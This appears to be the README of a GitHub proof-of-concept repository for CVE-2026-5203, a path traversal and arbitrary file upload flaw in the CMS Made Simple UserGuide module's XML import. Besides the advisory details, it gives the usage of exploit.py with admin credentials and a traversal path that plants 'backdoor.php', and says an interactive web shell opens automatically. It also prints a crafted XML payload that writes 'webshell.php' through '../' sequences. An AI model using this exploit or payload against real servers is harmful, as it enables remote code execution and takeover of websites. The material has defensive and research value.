caginkyr/cve-2026-5203
The UserGuide module's XML import functionality in CMS Made Simple ≤ 2.2.22 fails to sanitize user-supplied filenames, allowing an authenticated administrator to upload arbitrary files (e.g. PHP web shells) anywhere on the server filesystem via path traversal sequences.
| Field | Value |
|---|---|
| Type | Path Traversal / Arbitrary File Upload → RCE |
| Component | UserGuide Module — XML Import |
| Affected File | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| Auth Required | Yes (Administrator) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
The function writes Base64-decoded content directly to the attacker-controlled path.
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
Examples:
# Default path
python exploit.py http://target.com http://target.com/admin admin password123
# Custom upload path
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
Interactive shell starts automatically if the web shell is reachable after upload.
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[BASE64_ENCODED_PHP_CODE]</data>
</file>
</files>
</modulecontent>